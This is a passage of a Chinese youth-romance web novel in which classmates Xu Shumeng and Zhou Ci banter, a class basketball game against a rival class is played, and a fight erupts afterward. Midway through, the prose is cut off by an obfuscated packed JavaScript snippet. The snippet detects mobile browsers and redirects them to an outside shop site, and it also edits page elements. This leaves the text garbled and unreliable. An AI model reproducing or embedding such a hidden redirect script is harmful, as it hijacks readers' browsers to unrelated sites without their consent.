总觉得,他说这话是在暗示什么。 但凭她自己,也想不明白。 吃不下了。 许舒檬放筷。 她眨巴眨巴眼,黑白澄澈的目光盯着周祠不说话。 其实抛开洛灿和自己的乌龙,许舒檬自己心里也有一个问题想问他,从上次李枝桠和书黛对自己吐槽的时候,这问题就在自己脑海里盘旋不掉。 例如,怎么就对班级这么冷漠? 周祠这招已经见过了,错开眼,不慌不忙地喝水压惊:“少来,别卖乖。” 许舒檬咬唇,声音突变娇软:“周祠哥哥。” “说了别装。” 她试探:“那,祠哥哥?” “......” 日。 周祠无语,复又斜挑眉梢看向她:“许舒檬,专门拿捏我是吧?” 许舒檬见他受用,状似不经意倩笑着问:“班级篮球赛,你怎么不去。” 周祠从散漫靠在椅背上,到听完话后,突然敛眉逼近桌子,拉近两人距离问她:“那你又为什么突然问这些?” 许舒檬掩盖自己的秘密。以为中午的事,除了洛灿和自己,其他人谁都不知道。 她睫毛轻颤,软唇弯弯道:“就是好奇。你在篮球场上那是英姿勃发,游刃有余,神采飞扬。你要是上场了,全场焦点非你莫属。这个机会,你确定要错过吗?” 周祠面上在笑,心里却在骂。 可以啊,许舒檬。人家叫你来劝我,你还真的他妈来劝我。有没有点骨气。 “想我上?” “上不上在你。” 呵。大大进步。欲拒还迎的招数都使上了。 没点定力,他周祠再单纯点,说不定今天就被套进去了。还好自己不是那么轻易被拨弄的人。 “如果你要上了,拿了荣誉回来,不仅是老师,还有同学,也会感谢你的。” 许舒檬说话越平静,周祠心里就越腹诽——你再装,你就差直接点名道姓说‘洛灿会感谢你的’。 手机捏在指尖轻轻转动。 少年掀起眼皮,犀利点评:“这么挫,一个小小班级篮球赛都拿不下来。照照镜子看看自己几斤几两。要这都不行,就别上场丢人现眼。” 许舒檬:“可我们班的训练强度确实不能跟别的班比。” 她是勤劳补拙型,自然知道时间的重要性。所以洛灿的话,她有一半的共情也在情理之中。 周祠突然不耐烦:“还吃不吃?” 许舒檬不懂他突如其来反抗的情绪是什么,有些被吓到。 等反应过来,周祠能力强是他的事情,选择加不加入也是以他的意愿为主,没必要这样道德绑架。而且,她和他也只是好朋友,一直劝也不是个好的做法。 好吧。 点到为止。 许舒檬明了,顺着话讲:“不吃了。” “结账,走吧。” 走出商场,散步往家慢悠悠走去。 许舒檬依旧乖乖跟他后面。 周祠预防她还抓着这个问题不放,提前冷着嗓子开口:“再问今晚你别想睡个好觉,听懂没。” 许舒檬既来之则安之,嘟囔:“那我回我自己家睡。” 周祠双手插兜停下,欲言又止的低头看她:“你!” 许舒檬仰头,突然有点讨好地冲他甜甜一笑:“我!” 夜风有点冷。 这几年溪城的天气就是这么怪。 白天热,晚上又冷。 偶尔下点雨,春日汽让空气湿度都变得黏黏糊糊起来。 周祠伸出手臂搂住她脖子,恶作剧地捏着她脸颊扯着玩。 笨。 人家让你来当说客,你还真说。 真想揉死你。 许舒檬被迫脸贴着周祠的侧腰,在桎梏里挣扎:“放开,压我头发了啦。” 周祠力气比她大,再也不是以前那个任由她打扮的小小孩了。就是不放。 她使出绝招,掐了下他劲瘦的腰。 周祠下意识往反方向躲了下,深呼吸,敏感地带,身体出了反应。 他腾手握住她捣蛋的小手,嗓音低沉问:“这儿是能掐的吗?” 许舒檬在他臂弯处,眼睛亮亮地反问:“怎么就不能掐了。” 臂弯处的她,头发有些乱,几分凌乱美感。 细碎灯光在她眼底铺出星光,照得少女惹人疼爱。 周祠气鼓鼓,扣住她后脑勺,使得她脸埋进自己温热、坚实的左胸膛里。 闷闷的喊声从衣服处传来:“救命!” 一分钟后,他嘴角勾笑了一下。 接着突然放开怀里的人,重新插手入兜,侧脸看向别处,喉结不自觉地滚了滚。 许舒檬站直,整理好被弄乱的发,觉得这人又开始莫名其妙了。 她没忍住骂了句:“毛病。” - 时间就是消除人类记忆最好的霍格沃茨魔法。 过了一个星期了,许舒檬便也渐渐开始忘掉当初的尴尬。 洛灿依旧是热情的,但是至少没怎么再私发消息来‘打扰’她。 搞得许舒檬都开始怀疑,他当初在微信上的那些关心和慰问,到底是真的只是直男式的套近乎,还是别的。 算了,与其想那个,还不想想这个星期的期中考试。 四月尾了。 这是许舒檬考进一班后,第一次经历的大型考试。 有次跑操结束,人流走着走着,她就和班主任王朗汇到了一起。 王朗趁机开导:“你后期奋起直追才进了我们重点班。平时上课认真,作业质量完成的也不错。我问过各科老师了,他们对你的印象也很好。” “这次期中考试,不要紧张,正常发挥你的水平就行了。” “安心考。老师相信你。” 许舒檬连连点头。 王朗的话也是给她吃了一枚定心丸。 她做事容易比别人慢半拍,那天谈话之后,就更加开始努力。 后来许舒檬跟舒妈打电话聊近况,说了老师对自己的寄语。 “檬檬好样的!妈妈永远对你有信心。” 舒妈毫不吝啬的表达自己对女儿的支持。 许舒檬打心底里感激,虽然爸妈常常不在自己身边,但情绪价值却从来没有缺席过。 两母女聊天到最后,舒妈也同步给了女儿一个消息。 她所在的项目现在开始要长期出差,而许爸本身就是驻扎在隔壁省的分公司,临近下半年,也是要忙得不可开交的节奏。 许舒檬知道大人有很多无奈,为了家庭,也是为了家人。 她收拾掉失落,反过来安慰舒妈:“没关系的。妈妈。我和周祠一起就行了。”以前也不是一起过,现在也无妨。 周祠,周祠。 某种特殊的纽带将两人联系在一起,仿佛从出生开始,冥冥之中,命运就开始让原本平行的两条人生轨迹逐渐靠拢的转动。 放了学两人一起写作业。 大部分时间她都需要熬到很晚。 又累又乏,写到半夜,偶尔几次她在书桌上睡了过去。 对学习的担心,对未知的分数压力,让许舒檬哪怕入梦了,也依旧觉得自己就像是个乘坐在汪洋里浮动的贝壳船只里的不安乘客。 迷迷糊糊,腿弯传来一阵有力的托抱。 她好像在波浪席卷中,突然抓住了桅杆。 不晃了,踏实了。 求生意识让她手臂绕牢桅杆,拼了命搂住。只是,这个桅杆为什么是滚烫的、热的。 再然后,安全抵岸。 她小小的身子缩进软绵的棉花被窝里。 紧绷的神经才终于放松,最后沉沉睡去。 又是一个周五难得空闲的夜晚。 两人吃完饭,许舒檬把碗放入洗碗机,摁了开始键后,就拆了根雪糕,双腿并拢侧放在沙发上,开始放松看起偶像剧来。 周祠下楼去了。 穿了双耐克拖鞋,跟个大爷似的晃着出去买饮料。 没一会儿,人回来了。 许舒檬看他大包小包,阵仗挺大:“你买了什么,这么多。” 站冰箱前,把买来的饮料和易拉罐添好,周祠扒拉开另一个小袋子,露出里面装的东西。 许舒檬看过去,略惊讶:“我用完了?” 周祠弯腰冻了两瓶可乐进冰室:“昂。你快了吧?” 许舒檬算了算:“是快了。但我也不知道准不准。” 周祠把东西放进洗手间,洗完手后,接着手指骨节一弯,单手抠开一听七喜易拉罐走过来,眉梢微挑:“这玩意儿还分准不准?稀奇。” 气泡发出咕噜上涌声。 许舒檬重新撑回脑袋,目光放回电视剧里,顺其自然道:“对啊。休息不好、压力大都可能影响。” 刚说完,举到嘴里的冰糕被人一把抢了。 还剩半根。< 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【等灿哥拿了第一,喊老王请喝奶茶。一人一杯庆祝下。】 【哈哈哈哈!】 【灿哥呢,灿哥出来冒个泡啊。】 周祠屏蔽了消息,但耐不住每次都有傻逼疯狂艾特全体人员,导致自己玩游戏的同时,还得拿拇指把弹出来的消息条给弹回去。 艾特了一阵后,终于消停了。 刚好一盘打完,周祠无聊点进去看。 满屏的呼叫正主,但正主连个泡都没冒一下。 是不敢吧。 周祠没忍住哂笑。 也是,歪脑筋都动到许舒檬那儿了,这人能有什么自信拿第一。 单手举着手机在看。 周祠空着手的那只手垂下。 许舒檬的脚踝在旁边,他大掌移过去把玩,跟盘核桃似地,干燥指腹对着脚踝骨揉捏摩挲。 少年下巴微扬:“喂” “嗯?” “看群里了没?” 许舒檬经提醒才拿过茶几上的手机看了起来。 好家伙,99+的未读消息。 许舒檬安静翻完,又把手机倒扣放回去。 周祠:“看完了?” 许舒檬继续看偶像剧:“嗯,看完了。” 周祠单肘撑起上半身,锁骨因为这个姿势,凹陷的更深更性感。他仰头看向许舒檬:“你不说点什么?” 许舒檬推了他脑袋一下,让他继续躺,别打扰自己看电视:“你想我说什么。” 周某人沉吟。 就这么放弃了?不继续游说自己?好歹看清局势。这么个卫冕冠军在你眼前,不捧一捧? 再哄哄我,说不一定,哥哥一高兴,就去帮帮那个可怜的洛灿了啊喂。 然而许舒檬始终无动于衷。 周祠被摁回去之后,看着天花板,觉得很不是滋味。接着侧头:“你看什么看得这么起劲。” 许舒檬揉揉耳朵,温婉地笑了笑:“青春爱情偶像剧。听说这部原著热度很高。小说角色很火,男主又帅,人气超顶的那种。” 少年舔了舔唇,有意思。 能有我火?比老子帅? 周祠抬起一只手垫在脑后,若有所思的跟许舒檬一起看了起来。 刚好电视剧里演的片段是男主打篮球出风头的片段。 周祠瞥了眼许舒檬,急不可耐地开始发表自己的看法。 “切,我说这球打的这么烂,有什么好看,演都演不” “嘘!别吵。” 吐槽被打断。 周祠抿唇。接着:“那什么镜头,一看就” “周祠你安静点好不好,乖乖的,啊,乖乖的。” 头上传来轻拍,跟捋隔壁邻居家阿拉斯加的手法一模一样。 周祠十万个无语。 这破电视剧好看?胯下运球的姿势这么别扭,交叉步过人全靠镜头借位,连个姿势都摆不标准。 他盯着许舒檬看,暗戳戳杠上了,就想看看她到底有多沉浸式,得过多久才能把注意力分给自己点。 球打完,男主获胜。 周围一大堆的女的在红线外发花痴。 男主突然拿出一张钱,撩衣擦汗的同时说道谁给我买瓶水呗? 于是一大波女的往小卖部蜂拥而去。 那场面,比军训大检阅的场景还热闹整齐。 沙发开始震动。 周祠拳头抵唇,笑得很是肆意,连带胸腔发出低沉回响的声音。 这他妈不是哪儿演的是高中,是幼儿园吧?骗哪个智障看。 ‘被骗的智障’终于有了反应。 她缓缓挪回目光。 周祠以为她会来一句“是啊,还是你打球比较帅”。结果许舒檬极其平淡且煞风景的指了指她自己的臀:“麻了。你起开。” 腰以下,尾椎骨开始酥,再到发麻的臀。 周祠见状,一不做二不休,直接把抱枕扔开。 “往前面点。” “干什么,你自己去那边坐啊。” “挤挤。” 许舒檬被迫往前挪了挪,背后留出更多的位置。 周祠插了进来,贴在她身后,跟她朝着同一个方向侧靠。 他身躯更大,胸膛更宽广,肌肤体表温度更高,是个不可忽视的存在。 许舒檬但凡稍微往后动一下,都像是依靠着人怀抱。 头顶、耳后都是某人清冽的呼吸。 她扭头回看:“显着你了?” 周祠不羁笑着纠正:“不是显着。我打球,不说一大波女的吧,从操场西门排到东门,那叫一个不落。” 许舒檬叹气:“人家电视剧演出来,那叫夸张手法。你这发表讲话,叫什么请问你知道吗?” 周祠挑眉,示意她继续讲。 许舒檬直言不讳:“叫,吹——牛——逼。” 10. 三分 人,就是这么奇怪。 你对他越上心,他就越置之不理。 相反,你爱搭不理了,他就开始急得像热锅上的蚂蚁。 尤其是周祠这种人。 手指反指自己,周祠讥笑:“我?吹牛逼?许舒檬,天王老子来了,也得认证我说的是实话。” 许舒檬点头又摇头,细数家珍般讲述起她印象当中,路过周祠打篮球现场时的场景。 “好像是有女生,但不多。” 她抬起手指,清凌凌眼睁大:“五个?三个?好像两个吧。” 周祠大掌直接包裹上去,把许舒檬的小手完全包成拳头,神情无语:“你快收回去吧。别侮辱人了。” 许舒檬再度起疑:“可我说的是实话呀。” 周祠眉骨扬了扬:“傻妹,听我好好跟你分析。你路过的那几次,要么就是午休,要么就是体育课,是不是?” 许舒檬点头。好像,是? “同等的,那些女的要么就是在上课,要么就是在睡觉。” “知不知道来的那几个都是我的死忠粉,风雨无阻不带轮休的。” 说完他又桀骜地,下巴朝电视点了点。 此时此刻电视播放的是:以那群疯狂花痴的女的为背景,现在,男主谁的水都不要,就只要女主买过来的水,以此来凸显男主的校霸身份以及对女主的独特偏爱。 “发现问题了吗?” “什么问题?” “量数不对等。” 许舒檬试图把小手从他的拳头里面拿回来。但周祠不放,还时不时揉捏她的手。 “你唬我。” “我唬你什么了。有本事,等大家都有空的时候,你看我打篮球过来围观的女的,有没有那么多人。” 质疑的声音渐渐小了:“……无聊。” 他沉下声,几分轻嗤:“这叫事实。不信你翻翻那个原著是怎么写的。” 许舒檬不信邪,还当真去翻了翻原著。 相关片段,几个关键词赫然在目。 周五下去,篮球联赛,人山人海。 周祠跟她一起看,脸贴在她纤细薄弱的后颈上处,热气喷洒在雪白肌肤上。 “是不是,看到没?我没说错。” 熄屏,黑色屏幕上是两人一前一后的脸。 许舒檬微不可察地鼓了鼓脸颊。 周祠竟然讲的是有那么几分道理,还以为他胡诌。 一句小声的不屑:“那你去参加篮球比赛啊。证明给我看,到底有没有从西门排到东门。” 周祠:“?” 好,好,好。说来说去,结果自己把自己给绕进去了。 他今天就不该跟着她看这个什么破偶像剧。 许舒檬脱口而出后,才惊觉自己好像又重提了旧事。 但她对天发誓,她说这句话的时候,绝对、绝对别无二心。只是单纯对他的‘西门到东门’说法当场提出合理质疑、并请求证明。 看了下上方周祠的脸色,没不愠,也没上次吃西餐时的抵抗情绪。 她讨好般扯了扯人领口,吞咽道:“你——,在想什么呀?” 就怕他一言不发。这个时候最是冷漠无情。精致立体的少年五官,会显得周祠整个人都散发着疏离的气压。 渐渐,慢慢。 周祠薄唇微微勾起,目光懒散的落在她紧张的脸上。 最后,嘴角一扯:“可以。” 胜负欲就是这么突如其来。 傲娇刻进了这个人的骨子里。 不是显摆,不是谈资,只与学霸最强大脑,自身的严谨有关。 物理七大实验步骤的第5步——分析与论证。 分析完了。到论证的阶段。 而现在,恰好有这么一个物理实验场景给到自己。 机会不放过。 “我去。” “你要报名?” “嗯哼。” 上扬的尾调,昭示着这个人的狂妄与自信。 许舒檬干巴巴的笑了两声:“没什么好说的了,祝你获胜。” 期中考试进行的如火如荼。 许舒檬大汗淋漓的跟数学和物理分别来了个决一死战。 两天时间过去的飞快。 到了周三,非官方证明的正确答案在同学堆里传播甚广。 许舒檬听了之后,对自己这次的考试,也稍微有了个底。 周三下午,没了考试的阴影笼罩,大部分人都在对接下来的班级篮球比赛隐隐期待中。 被气氛感染,一向严肃苛刻的王朗也开始提前动员:“我看大家在群里讨论的很是激烈。尤其是你们现在是高二下学期,到高三这样的活动就基本没了。” “既然这样,老王我也参与一下。如果夺冠,奶茶我请。外加晚自习电影一部!” 一听不用上晚自习,还可以看电影。 全班激动的沸反盈天。 “啊啊啊啊啊!老王英明!老王我们爱你。” “篮球队加油,篮球队,你们最棒。” 至此,这场比赛,因天时地利人和的原因,被推向了前所未有的高度。 - “周祠也参加?” “他不是一向不热衷于班集体活动吗?” “对啊。也许是转性了。哎谁知道呢。不过我肯定要去看。” “不看白不看。他真的又帅又有型。” 周祠即将参赛的消息不胫而走。在高二年级引起了一阵不小的讨论。 如果校园论坛有热搜,那么按照现在的趋势,免不了在后面贴一个爆字。 书黛看到消息时也是大吃一惊:“舒檬,啊啊啊啊!” 魔音贯耳的尖叫在许舒檬耳边平地惊雷响起。 李枝桠也是当场捂嘴瞪眼。 “天啊。真是有生之年,与有荣焉。” “明天我就把我爸的相机带过来,拿出我站姐的气势来,绝对不给我们追星界丢脸。” 李枝桠喜滋滋。 许舒檬握着一口水要喝不喝,惊呆了似的看看书黛,又看看李枝桠,与有荣焉这种夸张的比喻都拿出来,觉得好离谱。 书黛已经提前开始预约:“舒檬,明天我们早点去行不行。站个好位置。” 许舒檬咽下水,桌上还摆着从李枝桠那里借来的漫画。 她垂下眼,看不出半点激动:“我不去了。” 李枝桠和书黛大吃一惊:“啊?为什么你不去。” 许舒檬对周祠打球的画面早已经见怪不怪。 不说学校,他在楼下小区没事儿就去投一球。好的时候整装待发,闲散的时候就穿个宽松大裤衩,拽个拖鞋就去了。 实在觉得没什么新鲜感,反而觉得大家反应过激。 许舒檬笑笑,吐露真相:“比起看他打球,我觉得,漫画好像更吸引我。” 天杀的! 书黛怒其不争。李枝桠更是直呼暴殄天物。 太过分了。 接着,不知谁突然发表了一下听后感:“那你可真是幸运。周祠热血澎湃的样子你私下铁定已经见过无数次了。不像我们,机会少之又少…” 周四。 洛灿作为队长,提前去体育办公室抽签。 等他回来,出现在一班教室门口,表情看不出半分轻松。 下一秒,掌心摊开,黑色长签暴露无遗。 洛灿张嘴:“八班。” 原本屏息以待的教室,以八班二字为点火牵引,突然爆发维京战吼。 男生们同仇敌忾。 “干他们!” “锤爆八班。” “妈的一雪前耻。” “早就看不惯这群逼了。” 经书黛科普,许舒檬才知道八班和一班的恩怨由来已久。 “你不知道,之前分班考试,布置考场,多余的座椅就要搬到楼上的空教室去。” “原本有部分是留给一班放的,但是八班先搬,直接把我们的给占了。导致我们班男生搬的时候只能放外面。后来教导主任不知道原因,直接发了一通火,骂我们班男生不守规矩。梁子就是这么结下的。” “你说气不气。” “我觉得他们就是故意的!想看我们班出糗,最好是我们班被他们班压着打。” 许舒檬听得隐隐皱眉:“这样搞对他们有什么好处?” 书黛打心底里反感:“看不惯我们吧。你知道,优秀的人总是被人嫉妒。” “…好吧。” 但凡是骨子里有点血性,对于八班那群沸头子的招惹,肚子里可是都憋着一大把火。 洛灿说完比赛对手是八班后,几个篮球队员从位置上站起,相继拍掌,加油打气。 周祠坐自己位子上正悠闲转笔,从始至终没怎么出声。 好似团队的凝聚,跟自己毫无关系。 洛灿大将风范,一视同仁。 半刻忘掉周祠的不近人情,一个巴掌就落到了少年肩上。 等拍上有力的野性骨骼,洛灿才倏地反应过来,周祠的主动善意,也不过是昨天才释放而已。 细细深究,彼此还没熟悉亲近到如此地步。 周祠狭长眼尾轻掀,睨视洛灿触碰到自己肩上的手。 少年眼神微挑,带着与生俱来的锋芒和审视,仿佛觉得你是什么脏东西,竟然敢碰到自己。 洛灿被这薄情而冷淡的目光烫到,自尊在前,他只好面露僵色的及时找补:“那什么,周祠,加油。” 转笔倏地停下。 黑色中性笔掉落到桌上,啪嗒一声,发出清脆磕响。 全班鸦雀无声,大气不敢出,心跳也跟着这声响声为之同频共震。 人人都在猜测,周祠他,该不会,要生气了吧? 寂静蔓延,猜疑丛生。 就在大家面面相觑时—— “昂。” 一声懒慢倦怠的‘昂’,让全班悬在喉咙里的心正式安全着落到肚子里。 许舒檬看得瞠目结舌。 明明前几天还幼稚到跟自己挤沙发的二逼之人,现在竟然都牵动着所有人的情绪跳动。 干什么要这么在意他的一举一动。 该说不说,是真的,好——诡——异。 比赛从中午12点钟开始。 外面太阳不热不冷,光线温柔,适合发呆和看书。 书黛和李枝桠早早就下去围在了一班VS八班的球场边缘,抢了个极佳机位视角。 许舒檬已经说了不去,她们也不勉强。 两人拍着胸脯义正言辞发誓:“姐妹吃好的也不会忘记你的!舒檬,等着,等我们前线再报。” 舒檬自然是点头微笑,同时感慨,觉得自己能在一班和枝桠书黛两个好玩的人成为朋友,可真是莫大的幸运。 教室里没人,这么好的天气也不好浪费。 她携了漫画书,去了教学楼下的草坪上,阳光打在少女身上,纯洁的光芒边缘,照得她像一只毛绒绒的晒肚皮小猫。 没多久,书上投下一道独特黑影。 许舒檬抬头见是周祠。 黑色护腕,少年正穿着火红的九号球衣。 薄薄眼皮,高鼻梁,薄唇,五官立体,精致矜贵长相。 认真当人的时候,是有那么几分放荡不羁的帅气。 许舒檬轻轻一掠,就垂下了眼睛。 周祠感觉自己被怠慢,于是开腔:“怎么不说话,被哥帅到了?” 许舒檬:“你挡住我的视线了。” “——嘁”来人轻嗤,接着好整以暇地抱手看她。 什么紧要关头了,你还在这岁月静好。 接着。 周祠:“篮球赛……要不要来看我打球?” 许舒檬:“我来干什么。” 周祠:“让你来就来,你哪儿那么多废话。” 许舒檬:“不来。” 周祠:“为什么?” 许舒檬低头继续看膝上的漫画:“熟人装逼有什么好看的。” 周祠:“……” 成。 不来是你的损失。 周祠也不用担心她错过自己场上的一分一秒。 没猜错,她那两个活宝朋友又怎么会不在她面前提到自己的名场面。 自信一笑,周祠边玩世不恭的退步,边朝着许舒檬比了个‘给哥看好’的手势:“等着,看祠哥哥给你秀。” 许舒檬优雅的翻了个白眼。 然后。 极其淡定的又翻了漫画一页。 丞帆和迟让得知周祠要上场,午饭不吃也要来围观。 没多久,裁判哨响。 比赛正式开始。 许舒檬坐了会儿累了,就半躺在草坪上看漫画享受校园慢生活,偶尔听得露天操场上那边沸腾的观众回声。 只是开场十五分钟后,回声越来越高昂。和同时段其他班级比赛时传出来的分贝完全拉开一大截。 许舒檬心也开始慢慢忐忑。 遭了。 要真让周祠证明了自己魅力大到从操场西门到东门,那不得逢年过节,又得听这人不厌其烦地吹几百遍。 实在受够了周祠在自己面前的欠揍样,许舒檬有点心动要不要去现场确认。 正纠结—— 书黛:【舒檬快来,周祠出事了!】 八班的球服,一整个暗黑风。 每个人眼里都是势在必得的野心。 站位讲究,身强也力壮。 头球是眼疾手快的周祠抢到,一班有利先,但没多久,八班后来居上,渐渐平局。 丞帆摸着下巴跟一旁的迟让闲扯:“对面2号,我看好。还有5号,也很行。” 迟让看着场上一开始还悠哉游哉、得心应手,结果现在变得满脸正经,甚至不苟言笑的周祠,担心也渐渐涌上心头。 迟让问:“八班的那群人什么来头?” 丞帆对里面的几个人有所耳闻:“在外头混的。不好惹。拉帮结派挺有一手。” 总结 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14486391|154586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到位:脾气大、路子野。 一班的好学生们,中规中矩,打球也是恪守成规。 体力被消耗,又被对面的犀利球风吊打后,现在还能中流砥柱的,也只剩洛灿和周祠。 许舒檬匆忙赶到,礼貌挤进里三层外三层的人群:“不好意思,让一让。” 她凑到书黛面前,急忙关心道:“黛黛,周祠出什么事了。” 抬手一指比分牌——58:69。 书黛心急如焚:“只剩15分钟了,不知道周祠还能不能翻盘。我男神可不能输啊。” 听书黛一讲完,许舒檬瞬间扶额。 黛黛啊黛黛,吓人可不兴这样的。下次可不许这样乱用词了。 本来打算又走,毕竟这边实在太挤了,空气都稀薄。 可转念一想,来都来了,许舒檬觉得那就接着看吧。 她聚焦周祠,发现不久前还吊儿郎当在自己面前嬉皮笑脸的人,此刻嘴唇紧抿,眉骨滴汗,眼神侵略性十足。 场上气氛紧张。 场下也一样跟着较劲。 李枝桠拉拉两人的校服袖口,示意她们朝旁边看,语气酸涩道:“看,她们还真是信心百倍呢。要不要这么明目张胆。” 八班的女生早就换上了张扬的拉拉短裙,手拿球花。 看有些人书包里不经意露出来的礼花筒,想来对方也是集体算计好了,只要等会一旦八班赢了,这些人就能搞出当场庆祝的大动作,尽情奚落一班的失败。 刚好周祠正在场边发球。 许舒檬左思右想,觉得这个时候也别想什么友谊兴邦了。 于是移动了几步,跑到他打湿的伟岸背后,鼓起勇气小声喊了一句:“周祠,干他们。” 高大宽肩的少年听到熟悉的喊声先是一愣,接着回头和许舒檬眼神相交了一秒,随后错开眼,和洛灿交换位置后,就继续满场跑了起来。 迟让指着正和对面5号激烈抢球的周祠说:“那小子是不是又似笑非笑了?” 丞帆视线不经意间掠过许舒檬,搭肩意味深长道:“原谅他吧。续电的来了,那不得肾上腺素飙起。” 打到后面,两边队伍的火气都大了不少。 万般胶着后,终于,一班以周祠的一记三分远投、总分一分之差,赢得这场比赛。 “啊啊啊啊啊啊!周祠牛逼!” “灿哥倍儿棒!” “我们赢啦!我们赢啦!” 鼓掌声,呐喊声越吼越敞亮。 哨声终结。 周祠眼看着舒了一口气。 接着,撩起球衣下摆对着脸一顿乱擦,平复了下紊乱的呼吸。 露出的冷白结实腹肌羞红了周围女生的脸。 红线一取,一拨女同学齐齐涌上去给他递水递毛巾。 这样一对比,就显得其他几个队员有点落单。 肩膀被人轻轻拍了下。 “许舒檬,帮帮忙。” 班长何正义拖过来一箱水,撕开透明包装膜,接连埋头递了几瓶给正好离自己最近的许舒檬。 “帮我给队员们一下,谢谢。” 顺手帮忙之事,她也不好拒绝。 “好。” 少女小心翼翼地抱着几瓶水,上场给筋疲力尽的其他几个队员送去。 甜润润的嗓音,马尾轻晃,晃得几个队员都红了脸:“给你。” 他们伸手接过,不好意思挠了挠头:“谢谢你,许舒檬。” 她笑:“没事。你们辛苦了。今天大家都很棒。” 周祠被一堆女的围着,没了刚才的压迫气场,现在平添了几分松弛感。 转头,他和许舒檬目光正好对上。 两人隔空来了场无声的对话。 ——看到没? ——看什么。 ——都是妹子啊。 被他表情一提醒,许舒檬才意识到哪怕已经结束了比赛,依旧有大量的人围在这里。 李枝桠快门咔擦对准他。 书黛眼冒星星,聒噪的谈论他不停。 又加上中午已经放学,高一到高三的学生都出了来。 电视上演的是夸张,但等自己亲眼看见后,许舒檬这才知道什么叫人山人海。 周祠的名字不断从这些女生嘴里冒出。 仿佛他刚刚在场上的英勇表现,如同一个勇猛无畏的开拓勇士。 力量、高大、冷峻、临危不惧。 周祠谁的水都没要。径直朝着许舒檬走了过去。 刚好丞帆和迟让跟过来,这才没让许舒檬在众目睽睽的女生注视下,成为众矢之的。 几人站在一起。 两位学长拍拍他的肩膀说:“小子不错。没给我们丢脸。” 周祠淡漠敷衍:“一边去。我忙着呢。” 两人笑而不语。 周祠遮挡住许舒檬身上的太阳,高傲不可一世冲她扬了下巴:“你为什么不给我水?” 许舒檬双手一摊:“刚好发到你没了。而且,”她眼睛弯弯地转了一圈周围对他虎视眈眈的女生,“似乎你也不缺。” 周祠嘴角淡扯:“不管。你区别对待。” 看他较真上了。 许舒檬几分无语,但知道人刚刚才费力赢了,功劳苦劳兼具,于是极其平静地哄着:“那你想怎么样。” 周祠像是早有准备一样,从兜里拿出一张钱,递到许舒檬面前:“你,就你,去给哥哥我,买瓶可乐和毛巾,我等你回来。” 沃日。 旧事重提,矫情演上了是吧。 您是有多记仇,非得跟人家电视里的偶像剧主角来一次隔次元巅峰对决? 许舒檬扭捏,不想去。 丞帆跟迟让搁一旁看好戏。 许舒檬又回头瞥了他一眼。 没记错,周祠平日里也没少喝这饮料。现在刚打完球,又指名道姓要可乐。 她想了想,决定还是趁这个机会,苦口婆心的劝一劝他:“不买。为了你好。” 周祠一听,炸了! 觉得许舒檬继欲拒还迎后,她平日里迟钝贫乏的脑袋,又来了一招假意逢迎。 还真是惊喜多多。 他贴近她,眉骨滴汗,黑眸黢亮,语气带点威胁:“是吗?怎么不买就成了为我好了,许舒檬,你现在是越来越假模——” 许舒檬干脆开口,直接清脆的打断他:“可乐杀精,你不知道吗。” 丞帆和迟让眼前一黑,就差捂脸。 这是他俩这外人能听的? 所以这俩小学鸡私底下相处的时候,就是这么幼稚的? 靠。什么玩意儿? 你要不要听听看,从你那张樱桃小嘴里面,说出这种粗话,是怎么个事。 周祠服了,抬手就想给面前的许舒檬来一个额头暴栗。 许舒檬察觉到危险,都已经开始抬手习惯性抵御。 结果—— 周祠不知听到了什么,脸色骤变,一个利落转身,突然朝着裁判记分处跑了去。 11. 三分 周祠脾气,算好的。 许舒檬鲜少见过他打架。 他不爱惹事儿,又因为以前身体不好,所以大多数时候,都是老师和家长眼中的乖乖好学生。 少有的几次,还是初中的时候,一些混混过来找他麻烦。 滋事的理由千奇百怪。 有说,你小子很厉害,我女朋友看上你了,你还拒之千里。你是不是觉得自己很拽? 有跟他同一个考场的,试图让周祠给他递答案,考试时噗嘶噗嘶了好几次,周祠没理。于是出了学校就开始围追堵截。 更有甚者,直接走到他面前说,你好像很牛逼,在学校很出名。听着,我很欣赏你,跟我做兄弟,不会亏待你。 周祠自然是不屑和这些人打交道。 道不同,不相为谋。 又加上周祠这人与生俱来的骄矜冷贵,导致他看人时总似若有似无的嘲笑意味。 好了,这么一来,冲突就不可避免。 许舒檬在场的那么几次,他把书包往她怀里一推,“边儿去。没喊你别开腔。” “周祠我怕,我们还是跑吧。再不济我们报警吧。他们人多,我怕你吃亏。” 他神情漠然地拂开她的手,再把人拉到自己背后护着。 少年带点鼻音,声音寡淡地对着那帮人挑眉开口:“一个上,还是一起上?别磨蹭,我还要回去写作业。” 抬脚踹腹,拳头到位,闷哼中彩,鲜血横流,狠戾与暴力齐飞。 隔了好久。 夕阳西下。 许舒檬扶着他一瘸一拐的回家,两人相互搀扶的影子拉的老长。 少年单手搭肩,倚靠在她身上,喘着粗气道:“看到我刚才那记左勾拳没?嘭一声,打上去,贼爽。” 她小心翼翼搂着他的腰,眼泪湿湿嗒嗒,人抽抽泣泣:“他们偷袭你。还踹了你背一脚。好坏啊呜呜呜” 周祠嘴角挂着伤,斜睨架着自己的人笑出声:“那我还把他们鼻梁打断了呢。” 干燥的掌心往她哭花的脸上粗糙一抹:“行了别哭了。我狠狠还回去了他们才不会再找事儿。懂了么?” 周祠不挑事,但也从来不怕事。 有问题就自己扛。 后来上了高中。 他众星捧月,又加上行事法则有了改变,开始变得什么事情都不爱搭理,于是再也没有烂摊子的人和事,值得他动手。 可今天—— 裁判打分处本来由两个课桌拼凑而成。 上面的白底黑字比分牌也正正好停在70:69的记数上。 周祠上前,在许舒檬的视角看来,就是毫无预兆的直接往对面5号,名叫司威的男生腹部猛踹了一脚。 司威脸露痛苦,趔趄后退,撞到课桌上,人仰马翻。 后围上来两个挺冲的男的,同时抓住周祠的衣领,试图朝着他出拳。 周祠快准狠,抓住一人的头发往后拽,接着膝盖顶起来,直接撞向对方面门。 待那人脸在抬起时,已经开始鼻血滴答的流。 他眼帘下压,漆黑双眸冰冷没有温度。 八班女生见自己班男生落下下风,一个个开始胡搅蛮缠。 